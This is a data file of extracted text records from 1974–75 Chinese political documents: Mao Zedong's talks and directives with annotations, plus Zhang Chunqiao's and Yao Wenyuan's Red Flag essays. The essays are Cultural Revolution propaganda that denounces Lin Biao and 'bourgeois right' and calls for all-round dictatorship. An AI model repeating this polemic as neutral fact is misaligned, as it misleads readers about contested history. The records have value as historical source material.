〔2〕 ，不仅要修到拉萨，而且还要与尼泊尔接轨，通到加德满都 〔2〕 去。青藏铁路修不通,我睡不着觉。 注 释 * 这是毛泽东同志在会见尼泊尔国王比兰德拉时的谈话节选。 〔1〕 青藏铁路，一九五八年，在毛泽东指示下，青藏铁路一期工程（西宁——格尔木段）动工修建。从一九六一年三月开始，因连续三年困难时期，青藏铁路全线停建。一九七四年，为落实毛泽东在会见尼泊尔国王比兰德拉时的谈话精神，一九七四年三月和一九七五年三月，铁道兵第十师和第七师共六点二万人，奉中央军委命令先后开进青海，开始了青藏铁路西宁至格尔木段的建设。一九七九年铺轨到格尔木，一期工程完成，一九八四年通车。由于当时没有攻克高原冻土和高寒缺氧两大难题的把握，青藏铁路格尔木——拉萨段在一九七八年七月被叫停。直到一九九八年，高原冻土地区修筑铁路的技术问题获得了重大进展，青藏铁路再次提到日程上来，二〇〇〇年十一月十一日，江泽民批示修建青藏铁路十分必要，二〇〇一年六月二十九日，青藏铁路二期格拉段开工，二〇〇六年七月一日全线通车。目前青藏铁路三期工程拉萨——加德满都段还没有立项，与毛主席的战略设想还有距离。 〔2〕 加德满都，尼泊尔首都。"},
    {"text": "关于划分三个世界的谈话 关于划分三个世界的谈话 * （一九七四年二月、三月） （一）（一九七四年二月二十二日） 毛泽东会见赞比亚总统卡翁达 希望第三世界团结起来。"},
    {"text": "（当卡翁达谈到赞比亚支持世界的反帝反殖斗争和在国内反对剥削阶级的斗争时）,你现在不能当共产党，你当共产党，人家就都反对你，但是你可以看一点马克思的书。"},
    {"text": "（三）（一九七四年三月二十五日） 毛泽东会见坦桑尼亚总统尼雷尔 （当尼雷尔提到美苏不是为和平而努力时），和平是暂时的，将来就难说了。"},
    {"text": "注 释 * 这是毛泽东同志会见卡翁达、布迈丁、尼雷尔 〔1〕 时的谈话内容纪要。 〔1〕 一九七四年二月二十二日，毛泽东会见了赞比亚总统卡翁达；"},
    {"text": "中国的农业生产发展了，你们的粮食几乎自给自足，工业正在开始发展，可能我们英国能在技术和技能方面向你们提供你们所需的帮助，但主席是如何鼓舞了七亿多人民团结一致这样工作的？"},
    {"text": "一九二五年加入中国共产党。 一九五八年五月在中共八届五中全会上被增选为中共中央副主席、政治局常务委员。 一九五九年任中央军委副主席、国防部长，主持中央军委工作。"},
    {"text": "在九届二中全会上主张设国家主席（毛泽东主席明确表示要改变国家体制不设国家主席），并组织人企图压服中央，犯了错误，被毛泽东主席识破，对其进行了警告和批评，并等待其认错达一年之久（从一九七〇年九月到一九七一年九月），不料，其子林立果狂妄自大，趁毛泽东南巡之时，妄图谋杀毛泽东主席，事情败露后，九月十三日夜，林立果挟制林彪和叶群驾机逃往苏联，最后坠毁于蒙古温都尔汗，史称“九一三”事件。"},
    {"text": "英法为夺得苏伊士运河的控制权，与以色列勾结，于一九五六年十月二十九日，对埃及发动了突然袭击，这就是第二次中东战争，又称苏伊士运河战争，苏伊士运河危机、西奈战役或卡代什行动。"},
    {"text": "一九七一年七月以美国总统尼克松的国家安全事务助理的身份第一次到北京与周恩来总理就两国关系正常化等问题举行会谈，后曾多次来中国访问。"},
    {"text": "一八四〇年英国发动鸦片战争，强迫清政府于一八四二年签订《南京条约》，永久割让香港岛。 一八五六年英法联军发动第二次鸦片战争，一八六〇年英国迫使清政府缔结《北京条约》，永久割让九龙半岛尖端。 一八九八年英国又乘列强在中国划分势力范围之机，逼迫清政府签订《展拓香港界址专条》，强行租借九龙半岛大片土地以及附近二百多个岛屿（后统称“新界”），租期九十九年，一九九七年六月三十日期满。"},
    {"text": "中华人民共和国成立后，中国政府的一贯立场是：香港是中国的领土，中国不承认帝国主义强加的三个不平等条约，主张在适当时机通过谈判解决这个问题，未解决前暂时维持现状。"},
    {"text": "〔15〕 指在座的年青同志，陪同会见的有周恩来（七十六岁）、王洪文（三十八岁）、邓小平（七十岁）、乔冠华（六十一岁）、唐闻生（三十一岁）、王海容（三十六岁）。"},
    {"text": "注 释 * 这是毛泽东同志在听取四届人大筹备工作的汇报 〔1〕 后的谈话要点。 〔1〕 一九七四年十二月二十三日至二十七日，毛泽东在长沙听取周恩来、王洪文（时任中共中央副主席）关于四届人大筹备工作情况的汇报。"},
    {"text": "二月十八日，中共中央发出通知，将毛泽东的这个谈话要点发给各省、市、自治区党委，各大军区、省军区、野战军党委，中央和国家机关各部委领导小组或党的核心小组，军委各总部、各军兵种党委，要求“认真组织广大党员、干部和党外群众学习”。 根据毛泽东的指示摘编的《马克思、恩格斯、列宁论无产阶级专政》语录三十三条，在一九七五年二月二十二日《人民日报》和三月一日出版的《红旗》杂志第三期发表，《人民日报》、《红旗》杂志的编者按中公布了毛泽东这个谈话的主要内容。"},
    {"text": "〔3〕 《红旗》杂志一九七五年第四期发表了张春桥的文章《论对资产阶级的全面专政》。 全文如下： 论对资产阶级的全面专政（张春桥） 无产阶级专政问题，是长期以来马克思主义同修正主义斗争的焦点。"},
    {"text": "经过二十多年的社会主义革命和社会主义建设，特别是经过无产阶级文化大革命，摧毁了刘少奇、林彪两个资产阶级司令部，我们的无产阶级专政空前巩固，社会主义事业欣欣向荣。"},
    {"text": "早在一九二〇年，列宁根据领导伟大十月社会主义革命和第一个无产阶级专政国家的实践经验，尖锐地指出，“无产阶级专政是新阶级对更强大的敌人，对资产阶级进行的最奋勇和最无情的战争，资产阶级的反抗，因为自己被推翻（哪怕是在一个国家内）而凶猛十倍。"},
    {"text": "列宁指出，这个专政是对旧社会的势力和传统进行的顽强斗争，流血的和不流血的，暴力的和和平的，军事的和经济的，教育的和行政的斗争，是对资产阶级的全面专政。"},
    {"text": "但是，他们是资本主义旧土壤产生出来的新毒草，他们背叛了自己的阶级，篡夺了党和国家的权力，复辟了资本主义，成了资产阶级对无产阶级专政的头目，做了希特勒想做而没有做到的事。"},
    {"text": "因为不但帝国主义、社会帝国主义念念不忘侵略和颠覆我们，不但老的地主资产阶级人还在，心不死，而且新的资产阶级分子正象列宁讲的那样每日每时地在产生着。"},
    {"text": "毛主席在这部著作中，具体地分析了我国包括合作化在内的社会主义改造在所有制方面取得基本胜利以后，仍然存在着阶级、阶级矛盾和阶级斗争，仍然存在着生产关系和生产力之间、上层建筑和经济基础之间又相适应又相矛盾的情况。 毛主席总结了列宁以后无产阶级专政的新经验，系统地回答了所有制改变以后出现的各种问题，规定了无产阶级专政的任务和政策，奠定了党的基本路线和无产阶级专政下继续革命的理论基础。 十八年来的实践，特别是无产阶级文化大革命的实践，证明了毛主席提出的理论、路线和政策是完全正确的。"},
    {"text": "以上海市郊区为例，一九七四年公社一级收入占总收入的比重，由上一年的百分之二十八点一，上升为三十点五，大队由百分之十五点二，上升为十七点二，生产队由百分之五十六点七，下降为五十二点三，人民公社一大二公的优越性越来越明显。"},
    {"text": "由于这二十五年来，我们逐步地消灭了帝国主义所有制、官僚资本主义所有制和封建主义所有制，逐步地改造了民族资本主义所有制和个体劳动者所有制，社会主义的两种公有制逐步地代替了这五种私有制，可以自豪地说，我国的所有制已经变更，我国无产阶级和劳动人民已经基本上挣脱了私有制的锁链，我国社会主义的经济基础已经逐步地巩固和发展起来。"},
    {"text": "但是，我们必须看到，在所有制方面，问题还没有完全解决。 我们常说所有制“基本解决”，也就是说还没有完全解决，资产阶级法权在所有制范围内，也没有完全取消。"},
    {"text": "不仅说明了无产阶级文化大革命的必要性，而且使我们比较清醒地认识到，所有制问题，如同其他问题一样，不能只看它的形式，还要看它的实际内容。"},
    {"text": "但是，如果不重视所有制是形式上还是实际上解决了，不重视生产关系的另外两个方面，即人们的相互关系和分配形式又反作用于所有制，上层建筑也反作用于经济基础，而且它们在一定条件下起决定作用，则是不对的。"},
    {"text": "历史上任何一种所有制的大变更，不论是封建制代替奴隶制，还是资本主义代替封建主义，都是先夺取政权，再运用政权的力量大规模地改变所有制，巩固和发展新的所有制。"},
    {"text": "以公社、大队两级经济发展较快的上海郊区人民公社为例，就三级所有的固定资产来看，公社占百分之三十四点二，大队只占百分之十五点一，生产队仍占百分之五十点七。"},
    {"text": "必须看到，我们的经济基础还不稳固，资产阶级法权在所有制方面还没有完全取消，在人们的相互关系方面还严重存在，在分配方面还占统治地位。 在上层建筑的各个领域，有些方面实际上仍然被资产阶级把持着，资产阶级还占着优势，有些正在改革，改革的成果也并不巩固，旧思想、旧习惯势力还顽强地阻碍着社会主义新生事物的生长。 随着城乡资本主义因素的发展，新资产阶级分子一批又一批地产生，无产阶级和资产阶级之间的阶级斗争，各派政治力量之间的阶级斗争，无产阶级和资产阶级之间在意识形态方面的阶级斗争还是长期的，曲折的，有时甚至还是很激烈的。 就是老一代的地主资产阶级都死光了，这种阶级斗争也决不会停止，林彪一类人物上台，资产阶级的复辟，仍然可能发生。"},
    {"text": "毛主席在《抗日战争胜利后的时局和我们的方针》这篇讲话中说过，一九三六年，党中央所在地保安附近，有一个土围子，里面住着一小股反革命武装，就是死不投降，直到红军打进去才解决了问题。"},
    {"text": "历史经验告诉我们，无产阶级能不能战胜资产阶级，中国会不会变修正主义，关键在于我们能不能在一切领域、在革命发展的一切阶段始终坚持对资产阶级的全面专政。"},
    {"text": "”列宁说，马克思的这一段精彩论述，极其鲜明地表达了马克思的国家学说同资产阶级的国家学说之间的主要的和根本的区别，表达了马克思国家学说的实质。"},
    {"text": "在《一八四八年至一八五〇年的法兰西阶级斗争》一书中，马克思更具体地说，这种专政是达到消灭一切阶级差别，达到消灭这些差别所产生的一切生产关系，达到消灭和这些生产关系相适应的一切社会关系，达到改变由这些社会关系产生出来的一切观念的必然的过渡阶段。"},
    {"text": "要做到达一点，就只有对资产阶级全面专政，把无产阶级专政下的继续革命进行到底，直到在地球上消灭这四个一切，使资产阶级和一切剥削阶级既不能存在，也不能再产生，决不能在过渡的路上停下来。"},
    {"text": "请同志们想一想，如果不是这样理解，如果在理论和实践上限制、割裂、歪曲马克思主义，把无产阶级专政变成一句空话，把对资产阶级的全面专政变成残缺不全，只在某些领域专政，不在一切领域专政，只在某个阶段（比如所有制改造以前）专政，不在一切阶段专政，也就是说，不是全部地打掉资产阶级的一切土围子，而是留下一些，让它再扩大队伍，那岂不是为资产阶级复辟准备条件吗？"},
    {"text": "一切不愿吃两遍苦、受二茬罪的工人、贫农、下中农和其他劳动人民，一切决心为实现共产主义奋斗终身的共产党员，一切不愿中国变修的同志们，都要牢记马克思主义的这条基本原理：必须对资产阶级实行全面专政，决不能半途而废。"},
    {"text": "他们对于无产阶级在某个阶段、某个领域的专政是赞成的，对于无产阶级的某些胜利是高兴的，因为这可以给他带来某种利益，而只要这种利益到手，他就觉得可以安营扎寨，经营经营他的安乐窝了。"},
    {"text": "历史经验又告诉我们，随着无产阶级专政取得一个又一个的胜利，资产阶级表面上也会装作承认无产阶级专政，而实际上干的仍然是复辟资产阶级专政。"},
    {"text": "他们一不改变苏维埃的名字，二不改变列宁党的名字，三不改变社会主义共和国的名字，而是用承认这些名字作掩护，把无产阶级专政的实际内容改掉，使它变成反苏维埃的、反列宁党的、反社会主义共和国的垄断资产阶级专政。"},
    {"text": "他们提出了全民国家、全民党这样的公开地背叛马克思主义的修正主义纲领，但是，当着苏联人民起来反抗他们的法西斯专政的时候，他们又打起无产阶级专政的旗号来镇压群众。"},
    {"text": "其中之一就是“念念不忘无产阶级专政”。 他确实念念不忘，只是要加“推翻”两个字，叫作“念念不忘推翻无产阶级专政”，用他们自己的供词，就是“打着毛主席的旗号打击毛主席的力量”。"},
    {"text": "只要公社还没有多少东西可以拿出来同生产大队、生产队“共产”，全民所有制也拿不出极为丰富的产品来对八亿人口实行按需分配，就只能继续搞商品生产、货币交换、按劳分配。"},
    {"text": "我们有了二十五年无产阶级专政的实践经验，又有巴黎公社以来的国际经验，只要我们几百个中央委员、几千个高级干部带头，同广大干部群众一起认真读书学习，调查研究，总结经验，我们一定能够实现毛主席的号召，搞清楚无产阶级专政问题，保证我们的国家沿着马克思主义、列宁主义、毛泽东思想指引的道路胜利前进。"},
    {"text": "”这个无限光明的远景必将继续鼓舞越来越多的觉悟的工人、劳动人民和他们的先锋队共产党人，坚持党的基本路线，坚持对资产阶级的全面专政，把无产阶级专政下的继续革命进行到底！"},
    {"text": "〔5〕 《红旗》杂志一九七五年第三期发表了姚文元的文章《论林彪反党集团的社会基础》，全文如下： 论林彪反党集团的社会基础（姚文元） 毛主席在讲到必须搞清楚无产阶级对资产阶级专政的问题时明确指出：“林彪一类如上台，搞资本主义很容易。"},
    {"text": "把这个问题弄清楚，对于巩固无产阶级专政、防止资本主义复辟，对于坚定地执行党在社会主义历史阶段的基本路线，一步一步地造成资产阶级既不能存在也不能再产生的条件，无疑是十分必要的。"},
    {"text": "林彪及其死党在全党、全军和全国人民中是极其孤立的，但产生出这一伙极端孤立的“天马行空”、“独往独来”的人物，却有它深刻的社会基础。"},
    {"text": "林彪反党集团代表了被打倒的地主资产阶级的利益，代表了被打倒的反动派推翻无产阶级专政、复辟资产阶级专政的愿望，这一点，是比较清楚的。 林彪反党集团反对无产阶级文化大革命，对我国无产阶级专政的社会主义制度怀着刻骨的仇恨，诬蔑为“封建专制”，咒骂为“当代的秦始皇”。 他们要使地、富、反、坏、右“政治上、经济上得到真正解放”，即在政治上经济上变无产阶级专政为地主买办资产阶级专政，变社会主义制度为资本主义制度。 作为力图复辟的资产阶级在党内的代理人，林彪反党集团向党和无产阶级专政进攻达到了很疯狂的程度，直到搞特务组织和策划反革命武装政变。"},
    {"text": "我们看到了林彪在政治上、思想上破产以后，怎样象一个亡命的赌徒一样想把无产阶级“吃掉”，孤注一掷，直到叛国投敌，毛主席、党中央非常耐心的教育、等待、挽救也丝毫不能改变他的反革命本性。"},
    {"text": "林彪反党集团不但代表了被打倒的地主资产阶级复辟的愿望，而且代表了社会主义社会中新产生的资产阶级分子篡权的愿望，他们身上具有新产生的资产阶级分子的某些特点，他们当中若干人本身就是新产生的资产阶级分子，他们的某些口号适应和反映了资产阶级分子和想走资本主义道路的人发展资本主义的需要。"},
    {"text": "资产阶级影响的存在，国际帝国主义、修正主义影响的存在，是产生新的资产阶级分子的政治思想根源。 而资产阶级法权的存在，则是产生新的资产阶级分子的重要的经济基础。"},
    {"text": "列宁指出：“在共产主义社会的第一阶段（通常称为社会主义），'资产阶级法权’没有完全取消，而只是部分地取消，只是在已经实现的经济变革的范围内，也就是在对生产资料的关系上取消。"},
    {"text": "列宁和毛主席的分析都告诉我们，对于社会主义制度下在分配和交换方面不可避免还存在的资产阶级法权，应当在无产阶级专政下加以限制，以便在长期的社会主义革命过程中，逐步创造消灭这种差别的物质的和精神的条件。 如果不是这样，相反地，要求巩固、扩大、强化资产阶级法权及其所带来的那一部分不平等，那就必然会产生两极分化的现象，即少数人在分配方面通过某种合法及大量非法的途径占有越来越多的商品和货币，被这种“物质刺激”刺激起来的资本主义发财致富、争名夺利的思想就会泛滥起来，化公为私、投机倒把、贪污腐化、盗窃行贿等现象也会发展起来，资本主义的商品交换原则就会侵入到政治生活以及党内生活，瓦解社会主义计划经济，就会产生把商品和货币转化为资本和把劳动力当作商品的资本主义剥削行为，就会在某些执行修正主义路线的部门和单位改变所有制的性质，压迫和剥削劳动人民的情况就会重新发生。"},
    {"text": "”而当资产阶级在经济上的力量发展到一定程度时，它的代理人就会要求政治上的统治，要求推翻无产阶级专政和社会主义制度，要求全盘改变社会主义所有制，公开地复辟和发展资本主义制度。"},
    {"text": "新的资产阶级一上台，首先要血腥地镇压人民，并在上层建筑包括各个思想文化领域中复辟资本主义，接着，他们就会按资本和权力的大小进行分配，“按劳分配”只剩下一个外壳，一小撮垄断了生产资料的新生资产阶级分子同时垄断了消费品和其他产品的分配大权。"},
    {"text": "林彪反党集团如何不择手段地聚敛财富，如何穷奢极欲地追求资产阶级的生活方式，如何利用资产阶级法权为自己干种种见不得人的阴险丑恶的勾当，人们已揭发批判了很多。 但更能说明问题的是反革命政变计划《“571工程”纪要》，这个计划中，林彪反党集团用以煽动或挑拨各个阶级中某些人反对无产阶级专政的，不是别的，正是资产阶级法权思想。"},
    {"text": "或者说，这个计划中所代表的阶级利益，除了老的资产阶级之外，正是一部分新的资产阶级分子，以及少数想得用资产阶级法权发展资本主义的人。"},
    {"text": "因而它攻击的矛头便对准了毛主席的无产阶级革命路线，因而它特别仇恨我国无产阶级专政下通过社会主义革命对资产阶级法权进行的某些限制。"},
    {"text": "一批又一批有共产主义觉悟的青年生气勃勃地奔赴农村，这是对缩小三大差别、限资产阶级法权有深远意义的伟大事业，一切革命的人们都热情赞扬它，而受了资产阶级思想侵蚀特别是受资产阶级法权思想束缚的人则反对它。"},
    {"text": "林彪反党集团对此特别仇恨，不但表现了他们同劳动人民的对立，而且也暴露了他们利用资产阶级法权向党进攻，妄图煽动一部分受资产阶级法权思想影响较深的人，反对社会主义革命。"},
    {"text": "他们的纲领是扩大城市同农村之间、脑力劳动同体力劳动之间的差别，把知识青年变成新的贵族阶层，想以此来争取某些受资产阶级法权思想影响较深的人对他们反革命政变的支持。"},
    {"text": "对于工人阶级发扬共产主义精神，批判修正主义的“物质刺激”，林彪反党集团诬蔑为“变相受剥削”。 林彪是“物质刺激”狂热的鼓吹者，他在黑笔记中就亲笔写下了“物质刺激还是必要的”、“唯物主义＝物质刺激”、“诱：以官，禄，德”之类的修正主义黑话。 林彪反党集团的一个主要成员也在黑笔记中写道：“按劳分配和物质利益原则”是发展生产的“决定动力”。"},
    {"text": "他们表面上是主张用钞票去“刺激”工人，实际上是想无限止地扩大工人的等级差别，在工人阶级中培养和收买一小部分背叛无产阶级专政、也背叛无产阶级利益的特殊阶层，分裂工人阶级的团结。 他们用资产阶级世界观腐蚀工人，又妄图把工人阶级中一小部分受资产阶级法权思想影响较深的人，作为支持他们反无产阶级专政的力量之一。 林彪一伙“特别”注意用“工资”来引诱“青年工人”，所谓“诱：以官，禄，德”就是他们的阴谋诡计，这从反面告诉我们：青年工人特别是当了的干部的青年工人，必须自觉地抵制资产阶级的物质引诱和各种资产阶级法权思想的捧场，要保持和发扬共产主义的为无产阶级和全人类彻底解放而英勇奋斗的革命精神，要努力用马列主义世界观武装自己，切不可被商品、货币交换、庸俗的捧场、阿谀奉承、宗派主义之类的花花世界弄昏了头脑，以致上了林彪一类政治骗子或社会上地主资产阶级分子的当。"},
    {"text": "缺少经验的新产生的资产阶级分子在前面违法乱纪，老奸巨猾的老资产阶级分子躲在后面出谋划策，这是今天社会阶级斗争中经常见到的一种现象。"},
    {"text": "林彪反党集团还诬蔑农民“缺吃少穿”，诬蔑部队干部“生活水平下降”，诬蔑红卫兵在文化大革命中批判资产阶级那种敢想、敢说、敢闯、敢做、敢革命的精神是“被利用”……这一切，无不是想从根本上否定社会主义制度和党的群众路线，否定无产阶级对资产阶级的专政，扩大资产阶级法权，复辟资本主义。 他们诬蔑农民“缺吃少穿”，其目的是煽动农民搞“吃光分光”，瓦解和取消社会主义集体经济。"},
    {"text": "如果照这条路线去做，其结果，是少数人上升为新资产阶级，绝大多数人受资本主义剥削，这是地主、富农和农村中一部分走资本主义道路的富裕中农所盼望的那样一种局面。"},
    {"text": "这就是在社会主义招牌下扩大资产阶级法权，使新的资产阶级分子和某些想走资本主义道路的派别和集团，同被打倒的地主资产阶级相勾结，“指挥一切、调动一切”，推翻无产阶级专政，复辟资本主义。"},
    {"text": "林彪反党集团在《“571工程”纪要》中提出的这些纲领，既不是从天上掉下来的，也不是他们自封为“超天才”的头脑中所固有的，而是社会存在的反映。"},
    {"text": "确切地说，从他们的资产阶级反动立场出发，他们反映了只占人口百分之几的没有改造好的地、富、反、坏、右的要求，反映了少数新的资产阶级分子和想利用资产阶级法权上升为新资产阶级分子的人的要求，而反对占人口百分之九十以上的革命人民坚持社会主义道路的要求。"},
    {"text": "这就必须坚持党的基本路线，提高工人阶级的政治觉悟，巩固工农联盟，团结一切可以团结的力量，并团结和领导广大革命群众在同阶级敌人的斗争和三大革命运动的实践中自觉地改造自己的世界观。"},
    {"text": "这就必须巩固和发展社会主义的全民所有制和劳动群众集体所有制，防止在所有制方面已被取消的资产阶级法权复辟，继续在较长时间内逐步完成所有制改造方面尚未完成的那一部分任务；"},
    {"text": "并在生产关系的其他两个方面，即人与人相互关系和分配关系方面，限制林彪反党集团，批判资产阶级法权思想，不断削弱产生资本主义的基础。"},
    {"text": "我们必须经过这种阶级斗争和路线斗争，不断战胜资产阶级及其代表人物搞修正主义、搞分裂、搞阴谋诡计的行动，才能逐步造成资产阶级既不能存在也不能再产生的条件，最后消灭阶级，而这正是无产阶级专政的整个历史时代要完成的伟大事业。"},
    {"text": "由于他们的复辟活动不是夺回自己丧失的生产资料而是要夺取他们未曾占有过的生产资料，因而表现特别贪婪，恨不得一下子把属于全国人民所有或集体所有的财富吞下肚子里去，化为私有制。"},
    {"text": "当林彪在“得志”即掌握一部分政治经济大权之前，他用反革命两面派的手段欺骗党、欺骗群众，并利用群众运动的力量为自己的目的服务，为此他可以打出革命的招牌或喊出革命的口号，同时又加以歪曲。"},
    {"text": "他们在自己把持、控制的单位、部门，变社会主义公有制为林彪反党集团私有制，他们暴露出越来越露骨的政治野心，这种野心会随着他们“得志”的程度而膨胀，正同资产阶级的贪欲会随着资本积累的增长而发展一样，永不会有止境。"},
    {"text": "”林彪作为资产阶级在党内的代理人，他的灵魂也只是已被打倒而梦想复辟以及正在产生而妄想统治的老的和新的资产阶级的灵魂。 从阶级分析出发，林彪一伙那些倒行逆施的反革命政治活动的根源便很清楚了：他们鼓吹孔孟之道，他们背叛党、背叛中国人民而投靠社会帝国主义，正是尊孔卖国的中国买办资产阶级干过的勾当，而他们狂热地策划反革命政变，也不过重复世界上许多国家的资产阶级使用过无数次并至今还在使用的手段罢了。"},
    {"text": "一九五九年反对彭德怀反党集团时，毛主席曾经指出，“现在，主要危险是经验主义”，因此要认真读书，这十几年来，毛主席多次重复了这个意见，毛主席强调党的高中级干部首先是中央委员，“都应程度不同地认真看书学习，弄通马克思主义”，并强调“这几年应当特别注意宣传马、列”，林彪反党集团垮台以后又再次说“我正式劝同志们读一点书”，最近讲无产阶级专政时又再一次强调了这一条。"},
    {"text": "全党同志特别是高级干部，一定要把这件事当作关系到巩固无产阶级专政的大事来抓，对马、列和毛主席关于无产阶级专政的有关论述和主要著作，首先要自己学好，搞清楚，力求从理论和实践的结合上说明问题，力求从思想和行动上打掉那些脱离群众的资产阶级思想作风，和群众打成一片，真正做社会主义新生事物的促进派，善于分辨和敢于抵制资本主义的腐蚀。"},
    {"text": "要注意区别两类不同性质的矛盾，准确而有力地打击极少数坏人，对群众中的资本主义影响，要根据“团结——批评——团结”的公式，主要采取学习和提高觉悟的方法，支持坚决抵制资本主义的先进事物的方法，回忆对比的方法，说服教育、批评和自我批评的方法去解决，做到团结两个百分之九十五。 批判资本主义倾向要形成舆论，争取多数，启发自觉，积极引导。"},
    {"text": "二十五年以来的历史告诉我们：只要我们坚持无产阶级专政，坚持毛主席无产阶级专政下继续革命的学说，坚持毛主席给我们规定的社会主义革命的路线、方针和政策，我们就能够粉碎阶级敌人的反抗，一步一步地减少这些痕迹，不断夺取新的胜利。"},
    {"text": "这一次毛主席提出的理论问题，必将从理论实践上使我们进一步认识无产阶级专政的历史任务和完成这些任务的方法，大大促进无产阶级专政的巩固，促地社会主义革命的深入和社会主义建设的发展，促进全国的安定团结。"},
    {"text": "但这二十年中，他从来没有统一过，国共两党的战争，国民党和各派军阀之间的战争，中日战争，最后是四年大内战，他就滚到一群海岛上去了。"},
    {"text": "对在押国民党战犯、党政军特人员一律释放 对在押国民党战犯、 党政军特人员一律释放 * （一九七五年二月二十七日） （一）（一九七五年二月二十七日） 〔1〕 锦州、大虎山、沈阳、长春，还有战犯，为什么没有？ 〔2〕 放战犯的时候要开欢送会，请他们吃顿饭，多吃点鱼、肉，每人发一百元零用钱，每人都有公民权。 不要强迫改造。都放了算了，强迫人家改造也不好。 土改的时候我们杀恶霸地主，不杀，老百姓怕。这些人老百姓都不知道，你杀他干什么，所以一个不杀。 气魄太小了：十五元太少，十三人不放，也不开欢送会。 〔3〕 有些人有能力可以做工作。年老有病的要给治病，跟我们的干部一样治。人家放下武器二十五年了。 （二）（一九七五年九月九日） 〔4〕 建议一律释放。本地不能就业的，转别地就业。如何，请酌定。 注 释 * 这是毛泽东同志在对在押国民党战犯、党政军特人员处理意见的批语。 〔1〕 本篇曾由中共中央办公厅一九七五年二月二十八日印发，分送在京中央政治局委员。一九七五年三月十七日，第四届全国人大常委会举行第二次会议，讨论周恩来根据中共中央和毛泽东意见提出的关于特赦释放全部在押战犯的建议，并听取国务院副总理兼公安部部长华国锋所作的说明。会议决定，对全部在押战犯实行特赦释放，并给予公民权。三月十八日，《全国人民代表大会常务委员会关于特赦释放全部在押战争罪犯的决定》在《人民日报》公布。十九日，最高人民法院在战犯管理所召开大会，宣布特赦释放的在押战犯二百九十三人名单，并发放特赦释放通知书。至此，在押的战犯全部处理完毕。最后一批战犯被特赦后，有十名原国民党高级将领申请去台湾与家人团聚。他们的申请很快就得到了批准，政府有关部门还帮助他们办理赴港手续，发给他们适合香港情况的服装和足够的费用，并指定香港中国旅行社负责照料他们的生活。但是，台湾当局却认为这是中共的“统战阴谋”，回台的十人是共党派去的“间谍”和“统战分子”，因而拒不接纳，并声明“绝不上当”。由于台湾当局的极端恐惧和百般阻挠，申请回台的这十个人终于没能与家人团聚，最后有四人去了美国，两人留在了香港，三人返回大陆，一人自杀身亡。 〔2〕 这句话指解放战争中锦州战役、大虎山战役、沈阳战役、长春战役中还有一些国民党高级将领战犯没有列入当时送审的一份特赦释放在押战犯的名单。 〔3〕 当时送审的一份有关释放在押战犯的报告中讲到，拟给释放的每位战犯发十五元零用钱，但不开欢送会。另有十三名罪大恶极的战犯拟继续关押，不予释放。 〔4〕 中共中央副主席、国务院副总理邓小平一九七五年九月七日报送的公安部党的核心小组的《对清理在押国民党省、将级党政军特人员的请示报告》说，我们对各地在押的国民党省、将级党政军特人员进行了调查摸底，并于最近召开了清理工作会议。现将情况和处理意见报告如下： （一）全国现押的这类人员有三百四十一名，刑满就业的有六百一十二名。 （二）在现押的这类人员中，拟对其中以历史罪或主要以历史罪判刑的二百三十二名予以清理释放。因现行罪逮捕判刑的一百零九人，这次不予清理。 （三）对清理释放人员，要给予妥善安置。 1、发给释放裁定书，同时宣布摘掉帽子，给公民权。 2、有家的回家，无家可归的、自愿留下的由原劳改单位安置。愿回台湾的可准予回去，并提供方便。 3、释放时发给衣被和零用钱，安置回家的发给路费，回家后生活有困难的酌情予以补助。 4、生活和教育问题由当地民政部门和基层组织负责，其中按起义投诚人员对待的，由统战部门负责，并酌情安置工作。 （四）对刑满就业的人员，拟同时清理。除表现很坏的以外，均可摘掉帽子，给公民权。清理后的去路同对待在押犯的原则一样。 （五）对因历史罪判刑在押的三千三百多名和已刑满就业的一万名相当于县团级以上人员的清理，将经过调查研究，参照上述精神予以考虑。 毛泽东的批语，写在邓小平的送审报告上。一九七五年十二月十五日，司法机关决定对在押的原国民党县团以上党政军特人员一律宽大释放。十五日至十八日，各地司法机关先后召开了宽大释放大会。"},
    {"text": "要安定团结不要分裂，不要搞阴谋诡计 要安定团结不要分裂， 不要搞阴谋诡计 * （一九七五年五月三日） 多久不见了 〔1〕 ，有一个问题，我与你们商量，一些人思想不一致，个别的人。"},
    {"text": "走后门这样的人有成百万，包括你们（王海容、唐闻生）在内，我也是一个，我送了几个女孩子，到北大上学，我没办法，我说你们去上学，他们当了五年工人，现在送她们上大学了，我送去的，也是走后门，我也有资产阶级法权，我送去，小谢 〔6〕 不得不收，这些人不是坏人。"},
    {"text": "你们 〔8〕 只恨经验主义，不恨教条主义，二十八个半统治了四年之久，打着共产国际的旗帜，吓唬中国党，凡不赞成的就要打，俘虏了一批经验主义。"},
    {"text": "这一次还是三条，要马列不要修正，要团结不要分裂，要光明正大，不要搞阴谋诡计，就是不要搞宗派主义。 这三条我重复一遍，要搞马列主义，不要搞修正主义；"},
    {"text": "我看江青就是一个小小的经验主义者，教条主义谈不上，她不像王明那样写了一篇文章《更加布尔什维克化》，也不会象张闻天那样写《机会主义的动摇》 〔11〕 。"},
    {"text": "不要随便，要有纪律，要谨慎，不要个人自作主张，要跟政治局讨论，有意见要在政治局讨论，印成文件发下去，要以中央的名义，不要用个人的名义，比如也不要以我的名义，我是从来不送什么材料的。"},
    {"text": "对不起，我就是这样，我没有更多的话，就是三句，九次、十次代表大会都是三句，要马列不要修正，要团结不要分裂，要光明正大不要搞阴谋诡计。"},
    {"text": "一九七五年二月九日，《人民日报》发表题为《学好无产阶级专政的理论》的社论，“学习无产阶级专政理论”运动是这时整个舆论宣传的中心。"},
    {"text": "一九七五年三月一日，张春桥在全军各大单位政治部主任座谈会提出“对经验主义的危险，恐怕还是要警惕”，毛主席一九五九年关于反经验主义的话“现在仍然有效”，要把反对经验主义“当作纲”。"},
    {"text": "姚文元曾于一九七五年四月二十日送审新华社《关于报道学习无产阶级专政理论问题请示报告》的文件，这个报告中说，在今后一段时间里，我们要大力报道各级干部认真读书，刻苦钻研，决心弄通无产阶级专政的理论，反对学习中不求甚解的作风。"},
    {"text": "一九七四年一月十八日，中共中央以当年一号文件正式下达关于印发《林彪与孔孟之道（材料之一）》的通知。 通知说：林彪“和历代行将灭亡的反动派一样，尊孔反法，攻击秦始皇，把孔孟之道作为阴谋篡党夺权、复辟资本主义的反动思想武器。"},
    {"text": "北京大学、清华大学选编的这个材料，对于继续深入批林，批判林彪路线的极右实质，对于继续开展对尊孔反法思想的批判，对于加强思想和政治路线方面的教育，会有很大帮助”。"},
    {"text": "一九七四年一月二十四日，叶剑英亲自召集并主持的驻京部队批林批孔动员大会。 一九七四年一月二十五日，周恩来在北京召集并主持召开党中央和国务院机关“批林批孔”动员大会。"},
